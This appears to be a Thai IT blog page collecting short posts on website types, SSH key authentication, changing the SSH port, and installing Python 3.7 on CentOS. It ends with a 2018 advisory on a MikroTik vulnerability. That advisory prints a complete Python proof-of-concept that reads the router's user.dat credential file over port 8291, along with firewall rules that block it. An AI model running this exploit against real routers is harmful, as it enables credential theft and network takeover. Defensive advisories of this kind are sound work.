Blog

ออกแบบเว็บไซด์ เว็บไซด์กี่ประเภทที่นิยม

  1. eCommerce Website คือเว็บไซด์ที่user สามารถซื้อสินค้าจากเว็บไซด์ได้ หรือกล่าวอย่างง่ายคือเว็บไซด์ที่มี Shopping cart และสามารถจ่ายเงินนั่นเองg
  2. Business Website   เว็บไซด์ที่แสดงรายละเอียดเกี่ยวกับบริษัท ให้ข้อมูลสินค้า หรือบริการ
    1. Brochure Website เป็นรูปแบบหนึ่งของBusiness Website อย่างง่าย เหมาะสำหรับธุรกิจที่ต้องการทำเว็บไซด์ เพื่อใช้เป็นBrochure แต่ไม่ต้องการใช้เว็บไซด์เพื่อเป็นเครื่องมือในการตลาดแสดงที่อยู่ ข้อมูลารติดต่อ หรือข้อมูลที่สำคัญอื่นๆ
  3. Magazine Website  เว็บไซดฺที่คล้ายแมกกาซีน โดยเป็นเว็บไซด์ประกอบไปด้วยรูปภาพ วีดีโอ บทความ ที่ให้ข้อมูล ความรู้
  4. ฺBlog เว็บไซด์บล็อกที่มีข้อมูล บทความ วีดีโอ รูปภาพ ที่อัพเดทบ่อยๆ อาจจะเป็นเว็บไซด์แบบส่วนตัวหรือเป็นของBrand โดยการเพิ่มบทความมีคุณค่าสามารถทำให้เว็บไซด์หรือ Brand เพิ่มความน่าเชื่อถือได้
  5. Portfolio Website เว็บไซด์ที่สร้างมาเพื่อแสดงผลงาน
  6. Web Portal เว็บไซด์ที่ถูกออกแบบมาเพื่อการใช้ภายในองค์กร สถาบัน เว็บไซด์นี้อาจจะเก็บข้อมูลที่จำเป็นต่อผู้ใช้งาน
  7. Wiki or Community Forum Website  เว็บไซด์ที่เน้น ให้ User มีส่วนร่วมในเว็บไซด์ ในการโพส แสดงความคิดเห็น การแก้ไ

Reference
https://www.hostgator.com/blog/popular-types-websites-create/

https://www.expertmarket.co.uk/web-design/different-types-of-websites#link-what-are-the-different-types-of-websites

ssh Key-Pair Authentication

โดยปกติ การ login เข้าสู่ server linux เราจะใช้ username และ password คราวนี้เราจะมาใช้อีกวิธี ที่ช่วยเรื่องความปลอดภัยขึ้นอีกนิด นั่นคือเราจะทำการทำให้ ssh server ของเรา รองรับการใช้ Key-Pair แทน username และ password โดยหลักการคือเราต้องสร้าง private key ให้ client และ public key ให้ server

สำหรับ windows Client
เราจะใช้ โปรแกรม Putty key Generator สำหรับการสร้างคีย์ โดยปกติโปรแกรมนี้จะถูกติดตั้งไปพร้อมกับ โปรแกรม Putty ก็จะอยู่ใน Folder เดียวกัน C:\Program Files\PuTTY

putty key gen
1. กด Generate เสร็จแล้วก็ ขยับเมาส์บนพื้นที่ว่างๆ จนกว่าจะ ทำงานเสร็จ
keygen
2. กด save public key และ save private key
3. log in เข้า server และสร้าง ไดเร็กทอรี่ .ssh

mkdir -p ~/.ssh
เช็คไดเร็คทอรี่ว่ามีหรือไม่
ls -a หรือ ls -al

4. จากนั้น ทำการสร้างไฟล์ authorizes_keyใน folder .ssh

#chmod 700 .ssh
#vi .ssh/authorized_keys 
เสร็จแล้วให้ copy public key ที่ได้ putty key generator แล้ว save
#chmod 600 .ssh/authorized_keys

5. แก้ไขไฟล์ vi /etc/ssh/sshd_config ให้แก้ตามหัวข้อต่อไปนี้
PasswordAuthentication no
ChallengeResponseAuthentication no
UsePAM yes
เช็คดูด้วยว่า มีบรรทัดมีไฟล์ชื่อ”authorized_keys” ในบรรทัดของ
AuthorizedKeyFile .ssh/authorized_keys ด้วยหรือไม่
สั่ง save แล้วสั่ง restart service

#sudo systemctl restart sshd.service

6. เปิดโปรแกรม putty แล้วแก้ไขข้อมูลให้ใช้การ log in ผ่าน Key
หัวข้อ data ให้ใส่ username ในที่นี้คือ root
putty input key
หัวข้อ SSH/Auth ให้เลือกไฟล์ private key ที่ได้ทำการ save ไว้
putty insert key

เท่านี้ก็จะสามารถ log in โดยที่ไม่ต้องใช้ password ได้เป็นที่เรียบร้อย

วิธีเปลี่ยน SSH Port บน Centos 8

วันนี้เราจะมาทำการ เปลี่ยน port ของเจ้าตัว ssh server กัน โดยปกติแล้ว ssh server จะใช้ port 22 เป็นค่า default เพื่อความปลอดภัยของระบบ ดังนั้นขั้นต้นเราควรจะ เปลี่ยน port ของ ssh กันก่อน อย่างน้อยก็ช่วยไม่ให้โดน สุ่ม username และ password ได้ทันที

1. log in เข้า server แล้วแก้ไขไฟล์ sshd_config
vi /etc/ssh/sshd_config
ค้นหาคำว่า #Port 22 แล้วแก้ไขเป็น port ที่เราต้องการ ควรใช้port 1024-65535
2. คำสั่งสำหรับ จัดการ firewall ให้รู้ port ใหม่ที่เราได้เปลี่ยนไป
sudo firewall-cmd --permanent --remove-service=ssh
sudo firewall-cmd --permanent --add-port=2222/tcp
3.คำสั่งสุดท้ายคือการสั่งให้ restart service sshและ reload firewall
sudo systemctl restart sshd
sudo firewall-cmd --reload
เท่านี้ก็เรียบร้อย

หมายเหตุ
คำสั่ง สำหรับเช็ค port ว่าตอนนี้มีโปรแกรมอะไรใช้อยู่

semanage port -l |grep 2222

การติดตั้ง Python 3.7 บน centos 7

เริ่มต้นด้วยการทดสอบว่าตอนนี้ Centos ของเราติดตั้ง Python เวอร์ชั่นไหนไว้ด้วยคำสั่ง

#python –version

เริ่มกระบวนการติดตั้ง
Step 1 – Requirements

สำหรับการติดตั้งองค์ประกอบของ Python 
#yum install gcc openssl-devel bzip2-devel libffi libffi-devel

Step 2 – ดาว์นโหลด python เวอร์ชั่น 3.7
จากเว็พไซต์ python official ด้วยคำสั่ง wget

#cd /root
#wget https://www.python.org/ftp/python/3.7.3/Python-3.7.3.tgz

กรณีที่ ไม่มีคำสั่ง wget ติดตั้งไว้ให้ทำการติดตั้งด้วยคำสั่ง #yum install wget

หลังจากนั้นทำการแตกไฟล์ด้วยคำสั่ง
#tar xzf Python-3.7.3.tgz

Step 3 – ติดตั้ง Python 3.7

#cd Python-3.7.0
ทำการ จัดเตรียม package และสั่ง Compile the Package
#./configure –enable-optimizations
#make altinstall
หลังจากติดตั้งเสร็จเราจะสั่งลบไฟล์ที่เราดาว์นโหลดมาก็ได้เพราะไม่ได้ใช้แล้ว
#rm -f /root/Python-3.7.0.tgz

ติดตั้งเรียบร้อย

Step 4 – ตรวจสอบ Python Version

ตรงนี้จะสับสนกันนิดนึ่งคือตัวระบบเองจะสามารถติดตั้ง โปรแกรม Python ได้หลายเวอร์ชั่นในเครื่องเดียว คำสั่งหลักในการเช็คเวอร์ชั่นแต่ละเวอร์ชั่นนั้นไม่เหมือนกันนะครับสำหรับเช็ค Python 3 เนี่ยต้องใช้คำสั่ง python3.x -V
#python3.7 -V

เท่านี้ก็เป็นการเสร็จเรียบร้อย

2018 – 0Day Exploit MikroTik

2018 – 0Day Exploit MikroTik

พูดถึง MikroTik หลายท่านคงเคยผ่านตา  หลายคนคงได้ใช้งา่นทั้งใน office ในบ้าน  แม้แต่ในไซต์งานลูกค้า
เนื่องจากเป็นอุปกรณ์ UTM ที่ใช้งานได้หลากหลาย มี Interface ให้ใช้ง่านได้ง่ายมากมาย  และตลอดช่วงอายุของ MikroTik ตั้งแต่ผลิตมา ก็มีช่องโหว่เกิดขึ้นเพียง 4 ช่อง  ซึ่งทาง MikroTik ได้ทำการ patch ไปแล้วเป็นที่เรียบร้อยใน version ล่าสุด

อย่างไรก็ตาม ทาง Hacker ได้เผย Zero Day (0Day)  Vulnerability ซึ่งเป็นช่องโหว่ร้ายแรงออกมา  ทำให้ Attacker สามารถโจมตีเข้าไปยัง MikroTik เป้าหมาย  และอ่านค่าจาก File user.dat ที่ทำหน้าที่เก็บชื่อผู้ใช้และรหัสผ่านออกมาได้  เป็นผลให้เกิดความเสี่ยงระดับร้ายแรงต่อองกรณ์ต่างๆ ที่ใช้ MikroTik เป็น Router หลัก  และคงต้องใช้เวลาอีกสักระยะกว่า MikroTik จะสามารถออก Patch เพื่อแก้ใขช่องโหว่ดังกล่าวได้

รูปแบบการโจมตีสามารถดูได้จากตัวอย่าง LAB ต่อไปนี้

2018 – 0Day Exploit MikroTik

https://www.youtube.com/watch?v=jfRiQKkED34&feature=youtu.be

จากๅ VDO จะเห็นได้ว่า  Attacker ใช้เวลาเพียงไม่กี่วินาทีเพื่อทำการโจมตีเอาข้อมูลผู้ใช้ออกมาจาก Router MikroTik ที่เป็นเป้าหมาย  เป็นผลให้ล่วงรู้ข้อมูลข้างในองกรณ์ทั้งหมด และยังปรับเปลี่ยนค่าต่างๆ ได้อีกด้วย

 

 

 

 

 

 

 

 

 

ระดับความเสี่ยง : Critical (เสี่ยงที่สุด)
ผลกระทบ : High (กระทบมาก)
การเข้าถึง : High (ง่ายมาก)
Patch / Hotfix : ยังไม่มี
Last updated : 25/07/2018

Mitigate Risk : กำหนดค่า
Firewall เพื่อป้องกันการเข้าถึง ดังนี้

MikroTik-Console#>/ip firewall filter

MikroTik-Console/ip firewall filter#>add action=reject chain=input comment=”SECURITY” content=user.dat reject-with=icmp-network-unreachable

MikroTik-Console/ip firewall filter#>add action=drop chain=input content=”user.dat

 

 


Exploit Example :

#!/usr/bin/env python3

import socket
import sys
from extract_user import dump

a = [0x68, 0x01, 0x00, 0x66, 0x4d, 0x32, 0x05, 0x00,
0xff, 0x01, 0x06, 0x00, 0xff, 0x09, 0x05, 0x07,
0x00, 0xff, 0x09, 0x07, 0x01, 0x00, 0x00, 0x21,
0x35, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2e, 0x2f,
0x2e, 0x2e, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f,
0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x2f, 0x2f, 0x2f,
0x2f, 0x2f, 0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x66,
0x6c, 0x61, 0x73, 0x68, 0x2f, 0x72, 0x77, 0x2f,
0x73, 0x74, 0x6f, 0x72, 0x65, 0x2f, 0x75, 0x73,
0x65, 0x72, 0x2e, 0x64, 0x61, 0x74, 0x02, 0x00,
0xff, 0x88, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00,
0x08, 0x00, 0x00, 0x00, 0x01, 0x00, 0xff, 0x88,
0x02, 0x00, 0x02, 0x00, 0x00, 0x00, 0x02, 0x00,
0x00, 0x00]

b = [0x3b, 0x01, 0x00, 0x39, 0x4d, 0x32, 0x05, 0x00,
0xff, 0x01, 0x06, 0x00, 0xff, 0x09, 0x06, 0x01,
0x00, 0xfe, 0x09, 0x35, 0x02, 0x00, 0x00, 0x08,
0x00, 0x80, 0x00, 0x00, 0x07, 0x00, 0xff, 0x09,
0x04, 0x02, 0x00, 0xff, 0x88, 0x02, 0x00, 0x00,
0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x01,
0x00, 0xff, 0x88, 0x02, 0x00, 0x02, 0x00, 0x00,
0x00, 0x02, 0x00, 0x00, 0x00]

if __name__ == “__main__”:
try:
ip = sys.argv[1]
except:
print(“Usage: python PoC.py [IP_ADDRESS]”)

#Initialize Socket
s = socket.socket()
s.settimeout(3)
s.connect((ip, 8291))

#Convert to bytearray for manipulation
a = bytearray(a)
b = bytearray(b)

#Send hello and recieve the sesison id
s.send(a)
d = bytearray(s.recv(1024))

#Replace the session id in template
b[19] = d[38]

#Send the edited response
s.send(b)
d = bytearray(s.recv(1024))

#Get results
print(ip)
dump(d[55:])


Credit : Isara  Ruk-isara
MVP Windows Security
C|HFI ,Security+

JIT Innotech